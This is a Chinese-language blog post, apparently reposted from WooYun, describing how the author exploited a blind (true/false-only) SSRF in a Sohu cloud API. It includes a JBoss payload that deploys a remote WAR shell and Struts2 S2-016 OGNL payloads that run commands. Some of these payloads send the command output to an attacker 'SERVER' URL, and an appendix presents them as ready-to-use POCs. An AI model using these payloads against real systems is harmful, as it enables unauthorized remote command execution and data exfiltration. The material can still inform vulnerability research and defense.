Bool型SSRF的思考與實踐
0x00 Bool型SSRF
什麼是Bool型SSRF, 沒聽說過. 其實我也沒有聽說過. 只是我也不知道該怎麼描述就起了這樣一個名稱. Bool型SSRF:簡單來說就是僅返回True 或 False的SSRF. 就以我前兩天我挖掘的一個搜狐SSRF為例, 只有伺服器端正確響應HTTP請求並且只有響應碼為200的時候,返回Success,其餘全部返回Failed. 這就是一個典型的Bool型SSRF.
0x01 SSRF利用的基本思路
Wooyun上有很多SSRF典型的案例, 可以說讓人拍案驚奇. 但是沒有一個關於BOOL型SSRF的利用案例(可能我沒看到吧). 這次挖掘到一個搜狐的Bool型SSRF, 對於我這個只是簡單理解SSRF原理沒有任何實戰的渣渣來說, 難度還真大. 不過想想,以前沒有接觸過SSRF,這次就把你玩透. 翻閱學習Wooyun上的案例, 瞭解SSRF利用的基本思路:
內網探測->應用識別->攻擊Payload->Payload Result
內網探測: 內網主機資訊收集
應用識別: 主機應用識別(可以透過Barner和應用指紋進行識別)
攻擊Payload: 根據應用識別的應用,載入不同的攻擊Payload(最常用莫屬於Struts2)
Payload Result: 返回相應Payload的執行資訊
0x02兩者之間的區別
BOOL型SSRF與一般的SSRF的區別在步驟二應用識別,步驟三攻擊Payload和步驟四Payload Result. 一般的SSRF在應用識別階段返回的資訊相對較多,比如Banner資訊,HTTP Title資訊,更有甚的會將整個HTTP的Reponse完全返回. 而Bool型SSRF的卻永遠只有True or False. 因為沒有任何Response資訊,所以對於攻擊Payload的選擇也是有很多限制的, 不能選擇需要和Response資訊互動的Payload. 在此次搜狐SSRF的中, 我分別使用了JBOSS遠端呼叫和Struts2 S2-016遠端命令執行. 對於Bool型SSRF, 我們不能說Payload打過去就一定成功執行, 就算是返回True, 也不能保證Payload一定執行成功. 所以我們要驗證Payload的執行狀態資訊.
0x03 Bool型SSRF利用方法
1.應用識別
{指紋1 + 指紋2 + 黑指紋}, 這裡以JBOSS為例: { /jmx-console/ + /invoker/JMXInvokerServlet + /d2z341.d#211 }
指紋1 和 指紋2 為應用識別指紋, 準確率越高越好. 黑指紋其實就是不會匹配任何應用的指紋,一般用較長的字串代替即可. 分別用指紋1, 指紋2 和 黑指紋對內網主機探測統計, 獲取三個主機列表:jmx-console.host(A) invoker.host(B) black.host(C)
.
Host = (A∩B) –(A∩B∩C)
即剔除jmx-console.host 和 invoker.host中存在於black.host的主機, 然後對jmx-console和invoker.host的主機取交集.
2.攻擊Payload
針對不用的應用我們需要載入不同的Payload, 但是大多數的攻擊都是需要和Payload Result進行互動的. 這類Payload是沒有辦法用在此處的, 我們需要的是不需要和Payload Result進行互動的Payload. 我可以想到的兩種應用比較廣泛的Payload有JBOSS和Struts2漏洞.
JBOSS Payload:
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war
透過JBOSS HtmlAdaptor介面直接部署遠端war包, 我們可以透過access.log去驗證war包是否成功部署.下面就是透過SSRF去執行不同的命令.還有一種方式,就是我們可以透過我們伺服器的access.log日誌獲取到遠端伺服器對應的公網IP, 有時也會有一些意外驚喜.
Struts2 Payload:
/action?action:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start()}
Struts2漏洞的影響大家都懂的, 透過URL直接遠端命令執行, 想打那裡就打那裡
3.Payload Result
獲取Payload Result是十分有必要的,這裡的Payload Result和非Bool型SSRF的Result不是一個意思. 對於Bool型SSRF, 伺服器端返回的資料永遠只有True和False, 我們是可以透過返回的True或者False來判斷Payload的執行狀態, 但是這樣的判斷標準是無法讓人信服的. 能否有一種方法能夠精確的判斷Payload的執行狀態,而且能夠返回Payload Result. 對於Struts2我找到了一種可利用的方法。
0x04 Struts2在Bool型SSRF中的利用
下面是S2-016的POC:
/action?action:%25{3*4}
/action?action?redirect:%25{3*4}
透過對連個POC的理解, 我們知道下面的POC中的redirect是實現URL跳轉,透過URL跳轉來驗證S2-016漏洞.
當然也可以透過“?redirect:http://www.baidu.com
”來驗證. 那麼我們是否可以透過”?redirect:http://SERVER/%25{3*4}
” 將%25{3*4}的執行結果作為SERVER的URL的一部分傳送到遠端伺服器, 透過實驗我們證實了這樣的想法.
下面我們嘗試S2-016的命令執行POC,執行結果如下:
?redirect:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start()}
特此說明一下,這裡返回[email protected]
表示命令執行成功, 將命令執行的結果透過redirect跳轉輸出到遠端伺服器.
?redirect:http//SERVER/%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start()}
由伺服器端Access日誌可以看出,命令執行成功
其實透過上面的這種方式,我們已經完全能夠準確的判斷Payload Result的執行狀態, 但是這不是我要的, 我想要Payload Result執行結果. 帶回顯的POC:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
將命令執行結果Redirect到遠端:
我們可以看到本地瀏覽器可以列印出結果,但是遠端Access.log不會有任何日誌. 對Java懂一點點的人都知道(比如我,對Java略懂一點點), 這裡的POC的作用就是本地列印,所以肯定是不行的. 下一步我們就需要更改POC , 因為對Java不熟, 為此花費了大半天的時間,寫下下面的POC:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
SERVER是我們的HTTP伺服器IP地址, 我們獲取命令執行結果,然後把他作為一個URL引數傳送到遠端SERVER上, 所以我們可以在遠端SERVER的access.log看到命令的執行結果.
遠端伺服器日誌:
至此, 我們完成了從一個BOOL型的SSRF轉換為一個普通的SSRF,我們可以獲取到任何Payload的執行結果, 我只能說這是一個質的飛躍.
說明: 對於文中瀏覽器中執行的返回資訊,我們僅僅是在做測試,對於BOOL型SSRF這些資訊對我們是不可見的, 我們能看到的僅僅是Server端的access.log日誌.
0x05 Other(想到什麼寫什麼)
Bool型SSRF的其他利用方式-反射性XSS也是一種可利用的思路,不過挖掘的難度相對較大
此文是對搜狐SSRF漏洞利用過程中的一些思考,實踐和總結.
這可以說是我的SSRF處女洞, 和此文章關聯的漏洞”搜狐某雲服務API介面導致SSRF/手工盲打到Struts2命令執行”http://wooyun.org/bugs/wooyun-2015-0129588
, 因為抱著學習的態度, 漏洞報告寫的非常詳細,而且有很多技巧在文章中沒有提及. 當然也有很多YY的想法, 想拍磚的就來拍磚吧.
附錄
使用方式: 將SERVER替換為你的Web服務地址
POC-S2-016.SSRF版 高亮:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
POC-S2-016命令回顯整合SSRF版 高亮:
redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23t%3d%23d.readLine(),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.setContentType(%27text/html%27),%23matt.getWriter().println(%23e),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
相關文章
- 數字化轉型的思考與新實踐2022-03-20
- 前端同構渲染的思考與實踐2019-03-08前端
- WebService安全機制的思考與實踐2020-10-31Web
- 前端程式碼質量的思考與實踐2020-03-20前端
- Flutter 動態化熱更新的思考與實踐2020-04-07Flutter
- 飛豬基於 Serverless 的雲+端實踐與思考2021-05-24Server
- 貝殼使用者偏好挖掘的思考與實踐2021-01-08
- 【溫故】前端工程化思考與實踐2019-05-07前端
- 華為多年實踐:ServiceComb在Service Mesh的探索與思考2018-11-15
- 百度關於互聯互通的思考與實踐2023-04-28
- 雲原生背景下的運維價值思考與實踐2020-12-01運維
- Service Mesh 在『路口』的產品思考與實踐:務實是根本2019-12-09
- redis實踐及思考2019-08-22Redis
- BOOL,int,float,指標型別的變數a 與“零”的比較語句2019-05-10指標型別變數
- 實踐和思考的重要意義2019-11-30
- 關於Java健壯性的一些思考與實踐!2018-07-17Java
- CSRF 與SSRF基礎2024-03-28
- 業務資料治理體系化思考與實踐2022-05-18
- 開源實踐 | OceanBase 在紅象雲騰大資料場景下的實踐與思考2022-01-20大資料
- 螞蟻金服Service Mesh新型網路代理的思考與實踐2019-03-01
- 系統效能提升利刃 | 快取技術使用的實踐與思考2019-08-15快取
- 全鏈路壓測體系建設方案的思考與實踐2020-07-07
- 下一代軟體工程的思考與點滴實踐2019-05-17軟體工程
- 雲音樂資料資產化建設的思考與實踐2023-02-24
- 基於 GraphQL 實踐的一點思考2019-04-20
- 資料安全與風控解決方案測試實踐與思考2022-07-26
- OPPO小布助手演算法系統探索、實踐與思考2021-12-28演算法
- vue專案實踐思考0032018-10-27Vue
- PHP->GO 基礎-資料型別-bool2019-12-18PHPGo資料型別
- TypeScript 條件型別精讀與實踐2021-10-04TypeScript型別
- [譯] 思考實踐:用 Go 實現 Flutter2019-07-07GoFlutter
- 關於主資料的實踐和思考2022-10-10
- 實時數倉構建:Flink+OLAP查詢的一些實踐與思考2024-04-15
- 運維數智化轉型的深入實踐與探索2024-02-29運維
- RocketMQ 的消費者型別詳解與最佳實踐2022-11-30MQ型別
- vue後臺管理系統許可權控制思考與實踐2018-12-17Vue
- Flutter 下載篇 - 叄 | 網路庫切換實踐與思考2023-03-04Flutter
- Swift-Optional Binding引發的值型別與引用型別的思考2019-05-02Swift型別